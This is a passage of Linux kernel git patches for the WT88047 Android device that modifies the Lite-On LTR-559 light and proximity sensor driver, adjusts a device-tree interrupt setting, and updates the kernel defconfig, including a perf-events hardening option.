ltr559_sensor_I2C_Wrtie(client, reg_tbl[i].addr, reg_tbl[i].curval); - } else { - retval = ltr559_sensor_I2C_Wrtie(client, reg_tbl[i].addr, reg_tbl[i].curval & 0xff); - retval = ltr559_sensor_I2C_Wrtie(client, reg_tbl[i].addr + 1, reg_tbl[i].curval >> 8); - } - } - } - - return retval; -} - -static int sensor_regulator_configure(struct ltr559_data *data, bool on) -{ - int rc; - - if (!on) { - if (regulator_count_voltages(data->vdd) > 0) - regulator_set_voltage(data->vdd, 0, LTR559_VDD_MAX_UV); - regulator_put(data->vdd); - - if (regulator_count_voltages(data->vio) > 0) - regulator_set_voltage(data->vio, 0, LTR559_VIO_MAX_UV); - regulator_put(data->vio); - } else { - data->vdd = regulator_get(&data->client->dev, "vdd"); - if (IS_ERR(data->vdd)) { - rc = PTR_ERR(data->vdd); - dev_err(&data->client->dev, "Regulator get failed vdd rc=%d\n", rc); - return rc; - } - - if (regulator_count_voltages(data->vdd) > 0) { - rc = regulator_set_voltage(data->vdd, LTR559_VDD_MIN_UV, LTR559_VDD_MAX_UV); - if (rc) { - dev_err(&data->client->dev, "Regulator set failed vdd rc=%d\n", rc); - goto reg_vdd_put; - } - } - - data->vio = regulator_get(&data->client->dev, "vio"); - if (IS_ERR(data->vio)) { - rc = PTR_ERR(data->vio); - dev_err(&data->client->dev, "Regulator get failed vio rc=%d\n", rc); - goto reg_vdd_set; - } - - if (regulator_count_voltages(data->vio) > 0) { - rc = regulator_set_voltage(data->vio, LTR559_VIO_MIN_UV, LTR559_VIO_MAX_UV); - if (rc) { - dev_err(&data->client->dev, "Regulator set failed vio rc=%d\n", rc); - goto reg_vio_put; - } - } - } - - return 0; -reg_vio_put: - regulator_put(data->vio); - -reg_vdd_set: - if (regulator_count_voltages(data->vdd) > 0) - regulator_set_voltage(data->vdd, 0, LTR559_VDD_MAX_UV); -reg_vdd_put: - regulator_put(data->vdd); - return rc; -} - -static int sensor_regulator_power_on(struct ltr559_data *data, bool on) -{ - int rc = 0; - - if (!on) { - rc = regulator_disable(data->vdd); - if (rc) { - dev_err(&data->client->dev, "Regulator vdd disable failed rc=%d\n", rc); - return rc; - } - - rc = regulator_disable(data->vio); - if (rc) { - dev_err(&data->client->dev, "Regulator vio disable failed rc=%d\n", rc); - rc = regulator_enable(data->vdd); - dev_err(&data->client->dev, "Regulator vio re-enabled rc=%d\n", rc); - /* - * Successfully re-enable regulator. - * Enter poweron delay and returns error. - */ - if (!rc) { - rc = -EBUSY; - goto enable_delay; - } - } - return rc; - } else { - rc = regulator_enable(data->vdd); - if (rc) { - dev_err(&data->client->dev, "Regulator vdd enable failed rc=%d\n", rc); - return rc; - } - - rc = regulator_enable(data->vio); - if (rc) { - dev_err(&data->client->dev, "Regulator vio enable failed rc=%d\n", rc); - regulator_disable(data->vdd); - return rc; - } - } - -enable_delay: - msleep(130); - dev_dbg(&data->client->dev, "Sensor regulator power on =%d\n", on); - return rc; -} - -static int sensor_platform_hw_power_onoff(struct ltr559_data *data, bool on) -{ - int err = 0; - - if (data->power_state != on) { - if (on) { - if (!IS_ERR_OR_NULL(data->pinctrl)) { - err = pinctrl_select_state(data->pinctrl, data->pin_default); - if (err) { - dev_err(&data->client->dev, "Can't select pinctrl state on=%d\n", on); - goto power_out; - } - } - - err = sensor_regulator_configure(data, true); - if (err) { - dev_err(&data->client->dev, "unable to configure regulator on=%d\n", on); - goto power_out; - } - - err = sensor_regulator_power_on(data, true); - if (err) { - dev_err(&data->client->dev, "Can't configure regulator on=%d\n", on); - goto power_out; - } - - data->power_state = true; - } else { - if (!IS_ERR_OR_NULL(data->pinctrl)) { - err = pinctrl_select_state(data->pinctrl, data->pin_sleep); - if (err) { - dev_err(&data->client->dev, "Can't select pinctrl state on=%d\n", on); - goto power_out; - } - } - - err = sensor_regulator_power_on(data, false); - if (err) { - dev_err(&data->client->dev, "Can't configure regulator on=%d\n", on); - goto power_out; - } - - err = sensor_regulator_configure(data, false); - if (err) { - dev_err(&data->client->dev, "unable to configure regulator on=%d\n", on); - goto power_out; - } - - data->power_state = false; - } - } -power_out: - return err; -} - -static int ltr559_pinctrl_init(struct ltr559_data *data) -{ - struct i2c_client *client = data->client; - - data->pinctrl = devm_pinctrl_get(&client->dev); - if (IS_ERR_OR_NULL(data->pinctrl)) { - dev_err(&client->dev, "Failed to get pinctrl\n"); - return PTR_ERR(data->pinctrl); - } - - data->pin_default = - pinctrl_lookup_state(data->pinctrl, "default"); - if (IS_ERR_OR_NULL(data->pin_default)) { - dev_err(&client->dev, "Failed to look up default state\n"); - return PTR_ERR(data->pin_default); - } - - data->pin_sleep = - pinctrl_lookup_state(data->pinctrl, "sleep"); - if (IS_ERR_OR_NULL(data->pin_sleep)) { - dev_err(&client->dev, "Failed to look up sleep state\n"); - return PTR_ERR(data->pin_sleep); - } - - return 0; -} - -static int ltr559_parse_dt(struct device *dev, struct ltr559_data *data) -{ - struct ltr559_platform_data *pdata = data->platform_data; - struct device_node *np = dev->of_node; - unsigned int tmp; - int rc = 0; - - /* ps tuning data*/ - rc = of_property_read_u32(np, "ltr,ps-threshold", &tmp); - if (rc) { - dev_err(dev, "Unable to read ps threshold\n"); - return rc; - } - pdata->prox_threshold = tmp; - - rc = of_property_read_u32(np, "ltr,ps-hysteresis-threshold", &tmp); - if (rc) { - dev_err(dev, "Unable to read ps hysteresis threshold\n"); - return rc; - } - pdata->prox_hsyteresis_threshold = tmp; - - rc = of_property_read_u32(np, "ltr,als-polling-time", &tmp); - if (rc) { - dev_err(dev, "Unable to read ps hysteresis threshold\n"); - return rc; - } - pdata->als_poll_interval = tmp; - - return 0; -} - -int ltr559_probe(struct i2c_client *client, const struct i2c_device_id *id) -{ - struct i2c_adapter *adapter = to_i2c_adapter(client->dev.parent); - struct ltr559_data *data; - struct ltr559_platform_data *pdata; - int ret = 0; - - /* check i2c*/ - if (!i2c_check_functionality(adapter, I2C_FUNC_SMBUS_WRITE_BYTE | I2C_FUNC_SMBUS_READ_BYTE_DATA)) { - dev_err(&client->dev, "LTR-559ALS functionality check failed.\n"); - return -EIO; - } - - /* platform data memory allocation*/ - if (client->dev.of_node) { - pdata = devm_kzalloc(&client->dev, - sizeof(struct ltr559_platform_data), - GFP_KERNEL); - if (!pdata) { - dev_err(&client->dev, "Failed to allocate memory\n"); - return -ENOMEM; - } - - client->dev.platform_data = pdata; - } else { - pdata = client->dev.platform_data; - if (!pdata) { - dev_err(&client->dev, "No platform data\n"); - return -ENODEV; - } - } - - /* data memory allocation */ - data = kzalloc(sizeof(struct ltr559_data), GFP_KERNEL); - if (!data) { - dev_err(&client->dev, "kzalloc failed\n"); - ret = -ENOMEM; - goto exit_kfree_pdata; - } - data->client = client; - data->platform_data = pdata; - sensor_info = data; - ret = ltr559_parse_dt(&client->dev, data); - if (ret) { - dev_err(&client->dev, "can't parse platform data\n"); - ret = -EFAULT; - goto exit_kfree_data; - } - data->dynamic_noise = 2047; - /* pinctrl initialization */ - ret = ltr559_pinctrl_init(data); - if (ret) { - ret = -EFAULT; - dev_err(&client->dev, "Can't initialize pinctrl\n"); - goto exit_kfree_data; - } - - /* power initialization */ - ret = sensor_platform_hw_power_onoff(data, true); - if (ret) { - ret = -ENOEXEC; - dev_err(&client->dev, "power on fail\n"); - goto exit_kfree_data; - } - - wake_lock_init(&data->ps_wakelock, WAKE_LOCK_SUSPEND, "proximity"); - - /* set client data as ltr559_data*/ - i2c_set_clientdata(client, data); - - ret = ltr559_check_chip_id(client); - if (ret) { - ret = -ENXIO; - dev_err(&client->dev, "the manufacture id is not match\n"); - goto exit_power_off; - } - - ret = ltr559_device_init(client); - if (ret) { - ret = -ENXIO; - dev_err(&client->dev, "device init failed\n"); - goto exit_power_off; - } - - /* request gpio and irq */ - ret = ltr559_gpio_irq(data); - if (ret) { - ret = -ENXIO; - dev_err(&client->dev, "gpio_irq failed\n"); - goto exit_chip_reset; - } - - /* Register Input Device */ - data->input_dev_als = input_allocate_device(); - if (!data->input_dev_als) { - ret = -ENOMEM; - dev_err(&client->dev, "Failed to allocate input device als\n"); - goto exit_free_irq; - } - - data->input_dev_ps = input_allocate_device(); - if (!data->input_dev_ps) { - ret = -ENOMEM; - dev_err(&client->dev, "Failed to allocate input device ps\n"); - goto exit_free_dev_als; - } - - set_bit(EV_ABS, data->input_dev_als->evbit); - set_bit(EV_ABS, data->input_dev_ps->evbit); - - input_set_abs_params(data->input_dev_als, ABS_MISC, 0, 65535, 0, 0); - input_set_abs_params(data->input_dev_ps, ABS_DISTANCE, 0, 1, 0, 0); - - data->input_dev_als->name = "light"; - data->input_dev_ps->name = "proximity"; - data->input_dev_als->id.bustype = BUS_I2C; - data->input_dev_als->dev.parent = &data->client->dev; - data->input_dev_ps->id.bustype = BUS_I2C; - data->input_dev_ps->dev.parent = &data->client->dev; - - input_set_drvdata(data->input_dev_als, data); - input_set_drvdata(data->input_dev_ps, data); - - ret = input_register_device(data->input_dev_als); - if (ret) { - ret = -ENOMEM; - dev_err(&client->dev, "Unable to register input device als: %s\n", data->input_dev_als->name); - goto exit_free_dev_ps; - } - - ret = input_register_device(data->input_dev_ps); - if (ret) { - ret = -ENOMEM; - dev_err(&client->dev, "Unable to register input device ps: %s\n", data->input_dev_ps->name); - goto exit_unregister_dev_als; - } - printk("%s input device success.\n", __func__); - ret = misc_register(&ps_misc); - if (ret < 0) { - dev_err(&data->client->dev, - "%s: PS Register Misc Device Fail...\n", __func__); - goto exit_free_dev_als; - } - /* init delayed works */ - INIT_DELAYED_WORK(&data->ps_work, ltr559_ps_work_func); - INIT_DELAYED_WORK(&data->als_work, ltr559_als_work_func); - - /* init mutex */ - mutex_init(&data->lockw); - mutex_init(&data->op_lock); - - /* create sysfs group */ - ret = sysfs_create_group(&client->dev.kobj, <r559_attr_group); - -#if defined(DYNAMIC_CALIBRATE) - ret = sysfs_create_group(&data->input_dev_als->dev.kobj, <r559_attr_group); - ret = sysfs_create_group(&data->input_dev_ps->dev.kobj, <r559_attr_group); -#endif - - if (ret) { - ret = -EROFS; - dev_err(&client->dev, "Unable to creat sysfs group\n"); - goto exit_unregister_dev_ps; - } - - /* Register sensors class */ - data->als_cdev = sensors_light_cdev; - data->als_cdev.sensors_enable = ltr559_als_set_enable; - data->als_cdev.sensors_poll_delay = ltr559_als_poll_delay; - data->ps_cdev = sensors_proximity_cdev; - data->ps_cdev.sensors_enable = ltr559_ps_set_enable; - data->ps_cdev.sensors_poll_delay = NULL; - - ret = sensors_classdev_register(&client->dev, &data->als_cdev); - if (ret) { - ret = -EROFS; - dev_err(&client->dev, "Unable to register to als sensor class\n"); - goto exit_remove_sysfs_group; - } - - ret = sensors_classdev_register(&client->dev, &data->ps_cdev); - if (ret) { - ret = -EROFS; - dev_err(&client->dev, "Unable to register to ps sensor class\n"); - goto exit_unregister_als_class; - } - - -#if defined(DYNAMIC_CALIBRATE) - if (0 != ltr559_ps_dynamic_caliberate_init(client, &data->ps_cdev)) { - pr_err("%s, dynamic calibrate fail!", __func__); - data->dynamic_noise = 800; - pdata->prox_threshold = 1000; - pdata->prox_hsyteresis_threshold = 900; - } -#endif - - dev_dbg(&client->dev, "probe succece\n"); - - return 0; - -exit_unregister_als_class: - sensors_classdev_unregister(&data->als_cdev); -exit_remove_sysfs_group: - sysfs_remove_group(&client->dev.kobj, <r559_attr_group); -#if defined(DYNAMIC_CALIBRATE) - sysfs_remove_group(&data->input_dev_als->dev.kobj, <r559_attr_group); - sysfs_remove_group(&data->input_dev_ps->dev.kobj, <r559_attr_group); -#endif -exit_unregister_dev_ps: - input_unregister_device(data->input_dev_ps); -exit_unregister_dev_als: - input_unregister_device(data->input_dev_als); -exit_free_dev_ps: - if (data->input_dev_ps) - input_free_device(data->input_dev_ps); -exit_free_dev_als: - if (data->input_dev_als) - input_free_device(data->input_dev_als); -exit_free_irq: - ltr559_gpio_irq_free(data); -exit_chip_reset: - ltr559_chip_reset(client); -exit_power_off: - sensor_platform_hw_power_onoff(data, false); - wake_lock_destroy(&data->ps_wakelock); - -exit_kfree_pdata: - if (pdata && (client->dev.of_node)) - devm_kfree(&client->dev, pdata); - data->platform_data = NULL; - pdata = NULL; - - -exit_kfree_data: - kfree(data); - - return ret; -} - -static int ltr559_remove(struct i2c_client *client) -{ - struct ltr559_data *data = i2c_get_clientdata(client); - struct ltr559_platform_data *pdata = data->platform_data; - - if (data == NULL || pdata == NULL) - return 0; - - ltr559_ps_enable(client, 0); - ltr559_als_enable(client, 0); - input_unregister_device(data->input_dev_als); - input_unregister_device(data->input_dev_ps); - - input_free_device(data->input_dev_als); - input_free_device(data->input_dev_ps); - - ltr559_gpio_irq_free(data); - - sysfs_remove_group(&client->dev.kobj, <r559_attr_group); -#if defined(DYNAMIC_CALIBRATE) - sysfs_remove_group(&data->input_dev_als->dev.kobj, <r559_attr_group); - sysfs_remove_group(&data->input_dev_ps->dev.kobj, <r559_attr_group); -#endif - - cancel_delayed_work_sync(&data->ps_work); - cancel_delayed_work_sync(&data->als_work); - - if (pdata && (client->dev.of_node)) - devm_kfree(&client->dev, pdata); - pdata = NULL; - - wake_lock_destroy(&data->ps_wakelock); - - kfree(data); - data = NULL; - - return 0; -} - -static struct i2c_device_id ltr559_id[] = { - {"ltr559", 0}, - {} -}; - -static struct of_device_id ltr_match_table[] = { - {.compatible = "ltr,ltr559",}, - {}, -}; - -MODULE_DEVICE_TABLE(i2c, ltr559_id); -static SIMPLE_DEV_PM_OPS(ltr559_pm_ops, ltr559_suspend, ltr559_resume); -static struct i2c_driver ltr559_driver = { - .driver = { - .name = LTR559_DRV_NAME, - .owner = THIS_MODULE, - .pm = <r559_pm_ops, - .of_match_table = ltr_match_table, - }, - .probe = ltr559_probe, - .remove = ltr559_remove, - .id_table = ltr559_id, -}; - -static int ltr559_driver_init(void) -{ - pr_info("Driver ltr5590 init.\n"); - return i2c_add_driver(<r559_driver); -}; - -static void ltr559_driver_exit(void) -{ - pr_info("Unload ltr559 module...\n"); - i2c_del_driver(<r559_driver); -} - -module_init(ltr559_driver_init); -module_exit(ltr559_driver_exit); -MODULE_AUTHOR("Lite-On Technology Corp."); -MODULE_DESCRIPTION("Lite-On LTR-559 Proximity and Light Sensor Driver"); -MODULE_LICENSE("GPL v2"); -MODULE_VERSION("1.0"); diff --git a/include/linux/input/ltr559_wt88047.h b/include/linux/input/ltr559_wt88047.h deleted file mode 100644 index 066dcd9597c4f..0000000000000 --- a/include/linux/input/ltr559_wt88047.h +++ /dev/null @@ -1,86 +0,0 @@ -/* Lite-On LTR-559ALS Linux Driver -* -* Copyright (C) 2011 Lite-On Technology Corp (Singapore) -* -* This program is distributed in the hope that it will be useful, but -* WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. -* -*/ -#ifndef _LTR559_H -#define _LTR559_H - -struct ltr559_platform_data { - unsigned int prox_threshold; - unsigned int prox_hsyteresis_threshold; - - unsigned int als_poll_interval; - - unsigned int int_gpio; - unsigned int irq_gpio_flags; -}; - -/* POWER SUPPLY VOLTAGE RANGE */ -#define LTR559_VDD_MIN_UV 2000000 -#define LTR559_VDD_MAX_UV 3300000 -#define LTR559_VIO_MIN_UV 1750000 -#define LTR559_VIO_MAX_UV 1950000 -/*calibration*/ -#define FAR_THRES_DATA 10 -#define NEAR_THRES_DATA 25 - -/* LTR-559 Registers */ -#define LTR559_ALS_CONTR 0x80 -#define LTR559_PS_CONTR 0x81 -#define LTR559_PS_LED 0x82 -#define LTR559_PS_N_PULSES 0x83 -#define LTR559_PS_MEAS_RATE 0x84 -#define LTR559_ALS_MEAS_RATE 0x85 -#define LTR559_MANUFACTURER_ID 0x87 - -#define LTR559_INTERRUPT 0x8F -#define LTR559_PS_THRES_UP_0 0x90 -#define LTR559_PS_THRES_UP_1 0x91 -#define LTR559_PS_THRES_LOW_0 0x92 -#define LTR559_PS_THRES_LOW_1 0x93 - -#define LTR559_ALS_THRES_UP_0 0x97 -#define LTR559_ALS_THRES_UP_1 0x98 -#define LTR559_ALS_THRES_LOW_0 0x99 -#define LTR559_ALS_THRES_LOW_1 0x9A -#define LTR559_INTERRUPT_PERSIST 0x9E - -/* 559's Read Only Registers */ -#define LTR559_ALS_DATA_CH1_0 0x88 -#define LTR559_ALS_DATA_CH1_1 0x89 -#define LTR559_ALS_DATA_CH0_0 0x8A -#define LTR559_ALS_DATA_CH0_1 0x8B -#define LTR559_ALS_PS_STATUS 0x8C -#define LTR559_PS_DATA_0 0x8D -#define LTR559_PS_DATA_1 0x8E - -/* Basic Operating Modes */ -#define MODE_ALS_ON_Range1 0x0B -#define MODE_ALS_ON_Range2 0x03 -#define MODE_ALS_StdBy 0x00 -#define MODE_PS_ON_Gain1 0x03 -#define MODE_PS_ON_Gain2 0x07 -#define MODE_PS_ON_Gain4 0x0B -#define MODE_PS_ON_Gain8 0x0C -#define MODE_PS_StdBy 0x00 - -#define PS_RANGE1 1 -#define PS_RANGE2 2 -#define PS_RANGE4 4 -#define PS_RANGE8 8 -#define ALS_RANGE1_320 1 -#define ALS_RANGE2_64K 2 - -#define PS_DETECTED_THRES 200 -#define PS_UNDETECTED_THRES 180 - -/* Power On response time in ms */ -#define PON_DELAY 600 -#define WAKEUP_DELAY 30 - -#endif From c066c95e63f47f6e97670179015bcce4810ecde5 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 27 Jun 2016 21:05:47 +0700 Subject: [PATCH 145/365] input: misc: Modify LTR-559 for WT88047 * Send boot time alone with sensor events New Android CDD suggest that sensor event should synchronize with SystemClock.elapsedRealtimeNano() clock. Send boot time alone with sensor events to represent the time the event happened as many as possible and synchronize with that clock. Adapted from Bingzhe Cai patch * Lower ambient light scaling value, same as stock * Change device name, compatible to the current userspace sensor HAL Change-Id: I3e567c0673dca849122b14f00343fddc3e70f695 --- drivers/input/misc/ltr559.c | 43 +++++++++++++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) diff --git a/drivers/input/misc/ltr559.c b/drivers/input/misc/ltr559.c index 63ab3d6b676ae..2038b2aa9c45a 100644 --- a/drivers/input/misc/ltr559.c +++ b/drivers/input/misc/ltr559.c @@ -132,7 +132,11 @@ static struct ltr559_reg reg_tbl[] = { .name = "ALS_CONTR", .addr = 0x80, .defval = 0x00, +#ifdef CONFIG_MACH_WT88047 + .curval = 0x0D, +#else .curval = 0x19, +#endif }, { .name = "PS_CONTR", @@ -307,7 +311,11 @@ static int ltr559_ps_enable(struct i2c_client *client, int on) struct ltr559_data *data = i2c_get_clientdata(client); int ret=0; int contr_data; +#ifdef CONFIG_MACH_WT88047 + ktime_t timestamp; + timestamp = ktime_get_boottime(); +#endif if (on) { ltr559_set_ps_threshold(client, LTR559_PS_THRES_LOW_0, 0); ltr559_set_ps_threshold(client, LTR559_PS_THRES_UP_0, data->platform_data->prox_threshold); @@ -328,6 +336,12 @@ static int ltr559_ps_enable(struct i2c_client *client, int on) ltr559_ps_dynamic_caliberate(&data->ps_cdev); printk("%s, report ABS_DISTANCE=%s\n",__func__, data->ps_state ? "far" : "near"); input_report_abs(data->input_dev_ps, ABS_DISTANCE, data->ps_state); +#ifdef CONFIG_MACH_WT88047 + input_event(data->input_dev_ps, EV_SYN, SYN_TIME_SEC, + ktime_to_timespec(timestamp).tv_sec); + input_event(data->input_dev_ps, EV_SYN, SYN_TIME_NSEC, + ktime_to_timespec(timestamp).tv_nsec); +#endif } else { ret = i2c_smbus_write_byte_data(client, LTR559_PS_CONTR, MODE_PS_StdBy); if(ret<0){ @@ -426,9 +440,15 @@ static void ltr559_ps_work_func(struct work_struct *work) int als_ps_status; int psdata; int j = 0; +#ifdef CONFIG_MACH_WT88047 + ktime_t timestamp; +#endif mutex_lock(&data->op_lock); +#ifdef CONFIG_MACH_WT88047 + timestamp = ktime_get_boottime(); +#endif als_ps_status = i2c_smbus_read_byte_data(client, LTR559_ALS_PS_STATUS); if (als_ps_status < 0) goto workout; @@ -479,6 +499,12 @@ static void ltr559_ps_work_func(struct work_struct *work) if((ps_state_last != data->ps_state) || (data->ps_state == 0)) { input_report_abs(data->input_dev_ps, ABS_DISTANCE, data->ps_state); +#ifdef CONFIG_MACH_WT88047 + input_event(data->input_dev_ps, EV_SYN, SYN_TIME_SEC, + ktime_to_timespec(timestamp).tv_sec); + input_event(data->input_dev_ps, EV_SYN, SYN_TIME_NSEC, + ktime_to_timespec(timestamp).tv_nsec); +#endif input_sync(data->input_dev_ps); printk("%s, report ABS_DISTANCE=%s\n",__func__, data->ps_state ? "far" : "near"); @@ -502,9 +528,15 @@ static void ltr559_als_work_func(struct work_struct *work) struct i2c_client *client=data->client; int als_ps_status; int als_data; +#ifdef CONFIG_MACH_WT88047 + ktime_t timestamp; +#endif mutex_lock(&data->op_lock); +#ifdef CONFIG_MACH_WT88047 + timestamp = ktime_get_boottime(); +#endif if(!data->als_open_state) goto workout; @@ -521,6 +553,12 @@ static void ltr559_als_work_func(struct work_struct *work) if ((als_data >= 0) && (als_data != data->last_lux)) { data->last_lux = als_data; input_report_abs(data->input_dev_als, ABS_MISC, als_data); +#ifdef CONFIG_MACH_WT88047 + input_event(data->input_dev_als, EV_SYN, SYN_TIME_SEC, + ktime_to_timespec(timestamp).tv_sec); + input_event(data->input_dev_als, EV_SYN, SYN_TIME_NSEC, + ktime_to_timespec(timestamp).tv_nsec); +#endif input_sync(data->input_dev_als); } } @@ -1321,8 +1359,13 @@ int ltr559_probe(struct i2c_client *client, const struct i2c_device_id *id) input_set_abs_params(data->input_dev_als, ABS_MISC, 0, 65535, 0, 0); input_set_abs_params(data->input_dev_ps, ABS_DISTANCE, 0, 1, 0, 0); +#ifdef CONFIG_MACH_WT88047 + data->input_dev_als->name = "light"; + data->input_dev_ps->name = "proximity"; +#else data->input_dev_als->name = "ltr559-ls"; data->input_dev_ps->name = "ltr559-ps"; +#endif data->input_dev_als->id.bustype = BUS_I2C; data->input_dev_als->dev.parent =&data->client->dev; data->input_dev_ps->id.bustype = BUS_I2C; From 6e4992c51b0eeb6d452e426fbf7a151fbfaf1731 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Mon, 27 Jun 2016 22:09:27 +0700 Subject: [PATCH 146/365] dts: wt88047: Change LTR-559 interrupt type Change-Id: Ib59bfb02089e7c88f54eddec738d41baf2fcfb18 --- arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi index 050d3fae8b156..809d39989e30c 100644 --- a/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi +++ b/arch/arm/boot/dts/qcom/wt88047/msm8916-wt88047.dtsi @@ -263,10 +263,10 @@ pinctrl-0 = <<r559_default>; pinctrl-1 = <<r559_sleep>; interrupt-parent = <&msm_gpio>; - interrupts = <113 0x2>; + interrupts = <113 0x2002>; vdd-supply = <&pm8916_l17>; vio-supply = <&pm8916_l6>; - ltr,irq-gpio = <&msm_gpio 113 0x2>; + ltr,irq-gpio = <&msm_gpio 113 0x2002>; ltr,ps-threshold = <45>; ltr,ps-hysteresis-threshold = <30>; ltr,als-polling-time = <200>; From 446dd651a6e6821a279387b47b31d6ad54d0a6ad Mon Sep 17 00:00:00 2001 From: Marcos Marado Date: Sat, 20 Aug 2016 23:02:21 +0700 Subject: [PATCH 147/365] wt88047: Enable CONFIG_SECURITY_PERF_EVENTS_RESTRICT Enable CONFIG_SECURITY_PERF_EVENTS_RESTRICT on the devices currently using this kernel, to disallow all unpriv perf event use. Issue: CYNGNOS-3257 Change-Id: I6c116dcd097a3150ed310563b4d41f2e70990dc2 --- arch/arm/configs/cyanogenmod_wt88047_defconfig | 1 + 1 file changed, 1 insertion(+) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index dd72a302ee986..001ff4d36bf63 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -3606,6 +3606,7 @@ CONFIG_KEYS=y # CONFIG_ENCRYPTED_KEYS is not set # CONFIG_KEYS_DEBUG_PROC_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set +CONFIG_SECURITY_PERF_EVENTS_RESTRICT=y CONFIG_SECURITY=y # CONFIG_SECURITYFS is not set CONFIG_SECURITY_NETWORK=y From 81a47d20c22fecdc5c4719ab825d343fd94672b2 Mon Sep 17 00:00:00 2001 From: Ketut Putu Kumajaya Date: Sat, 20 Aug 2016 23:03:01 +0700 Subject: [PATCH 148/365] wt88047: Regenerate kernel config * And enable FiiO USB DAC Amp and N-Trig touch screen support Change-Id: I1325a68aa0d1986fe1817d83bf35f340f9a68d15 --- .../arm/configs/cyanogenmod_wt88047_defconfig | 53 ++++++++++++++++--- 1 file changed, 45 insertions(+), 8 deletions(-) diff --git a/arch/arm/configs/cyanogenmod_wt88047_defconfig b/arch/arm/configs/cyanogenmod_wt88047_defconfig index 001ff4d36bf63..8af4dbd912925 100644 --- a/arch/arm/configs/cyanogenmod_wt88047_defconfig +++ b/arch/arm/configs/cyanogenmod_wt88047_defconfig @@ -20,7 +20,7 @@ CONFIG_ARM_PATCH_PHYS_VIRT=y CONFIG_NEED_MACH_GPIO_H=y CONFIG_NEED_MACH_IO_H=y CONFIG_NEED_MACH_MEMORY_H=y -CONFIG_PHYS_OFFSET=0x80000000 +CONFIG_PHYS_OFFSET=0x00200000 CONFIG_GENERIC_BUG=y # CONFIG_ARCH_RANDOM is not set CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config" @@ -113,6 +113,7 @@ CONFIG_CGROUP_DEBUG=y CONFIG_CGROUP_FREEZER=y # CONFIG_CGROUP_DEVICE is not set CONFIG_CPUSETS=y +CONFIG_PROC_PID_CPUSET=y CONFIG_CGROUP_CPUACCT=y CONFIG_RESOURCE_COUNTERS=y # CONFIG_MEMCG is not set @@ -267,6 +268,7 @@ CONFIG_CGROUP_BFQIO=y # CONFIG_DEFAULT_BFQ is not set CONFIG_DEFAULT_NOOP=y CONFIG_DEFAULT_IOSCHED="noop" +CONFIG_ASN1=y CONFIG_UNINLINE_SPIN_UNLOCK=y CONFIG_ARCH_SUPPORTS_ATOMIC_RMW=y CONFIG_MUTEX_SPIN_ON_OWNER=y @@ -1042,7 +1044,6 @@ CONFIG_BT_HIDP=y # CONFIG_BT_HCIBFUSB is not set # CONFIG_BT_HCIVHCI is not set # CONFIG_BT_MRVL is not set -CONFIG_MSM_BT_POWER=y # CONFIG_AF_RXRPC is not set CONFIG_FIB_RULES=y CONFIG_WIRELESS=y @@ -1411,7 +1412,6 @@ CONFIG_USB_NET_ZAURUS=y # CONFIG_USB_NET_CX82310_ETH is not set # CONFIG_USB_NET_KALMIA is not set # CONFIG_USB_NET_QMI_WWAN is not set -# CONFIG_USB_HSO is not set # CONFIG_USB_NET_INT51X1 is not set # CONFIG_USB_IPHETH is not set # CONFIG_USB_SIERRA_NET is not set @@ -1542,6 +1542,8 @@ CONFIG_TOUCHSCREEN_ATMEL_MXT=y # CONFIG_TOUCHSCREEN_EETI is not set # CONFIG_TOUCHSCREEN_EGALAX is not set # CONFIG_TOUCHSCREEN_FUJITSU is not set +# CONFIG_TOUCHSCREEN_GSL1688E is not set +# CONFIG_TOUCHSCREEN_GSL1688E_ARM64 is not set # CONFIG_TOUCHSCREEN_ILI210X is not set # CONFIG_TOUCHSCREEN_GUNZE is not set # CONFIG_TOUCHSCREEN_ELO is not set @@ -1576,6 +1578,8 @@ CONFIG_TOUCHSCREEN_GEN_VKEYS=y # CONFIG_TOUCHSCREEN_SYNAPTICS_I2C_RMI4 is not set # CONFIG_SECURE_TOUCH is not set # CONFIG_TOUCHSCREEN_GT9XX is not set +# CONFIG_TOUCHSCREEN_GT9XX_HQ is not set +# CONFIG_TOUCHSCREEN_GT9XX_YL is not set # CONFIG_TOUCHSCREEN_BU21150 is not set # CONFIG_TOUCHSCREEN_MSG2XXX is not set # CONFIG_TOUCHSCREEN_PROXIMITY_SENSOR is not set @@ -1595,6 +1599,7 @@ CONFIG_SENSORS_MPU6050=y CONFIG_INPUT_KEYCHORD=y # CONFIG_INPUT_KEYSPAN_REMOTE is not set # CONFIG_INPUT_KXTJ9 is not set +# CONFIG_INPUT_KXTJ9_HQ is not set # CONFIG_INPUT_POWERMATE is not set # CONFIG_INPUT_YEALINK is not set # CONFIG_INPUT_CM109 is not set @@ -1626,6 +1631,10 @@ CONFIG_SENSORS_YAS537=y # CONFIG_SENSORS_BMG is not set # CONFIG_INPUT_LSM6DX0 is not set # CONFIG_SENSORS_ST480 is not set +# CONFIG_SENSORS_MPU6880 is not set +# CONFIG_SENSORS_PA12200001 is not set +# CONFIG_SENSORS_YL_HALL is not set +# CONFIG_SENSORS_YL_PARAMS is not set # # Hardware I/O ports @@ -1747,6 +1756,7 @@ CONFIG_SLIMBUS=y # CONFIG_SLIMBUS_MSM_CTRL is not set CONFIG_SLIMBUS_MSM_NGD=y CONFIG_SOUNDWIRE=y +CONFIG_SOUNDWIRE_WCD_CTRL=y CONFIG_SPI=y # CONFIG_SPI_DEBUG is not set CONFIG_SPI_MASTER=y @@ -1899,9 +1909,16 @@ CONFIG_BATTERY_BCL=y # CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GOLDFISH is not set # CONFIG_QPNP_VM_BMS is not set +# CONFIG_QPNP_VM_BMS_HQ is not set # CONFIG_QPNP_BMS is not set # CONFIG_QPNP_LINEAR_CHARGER is not set 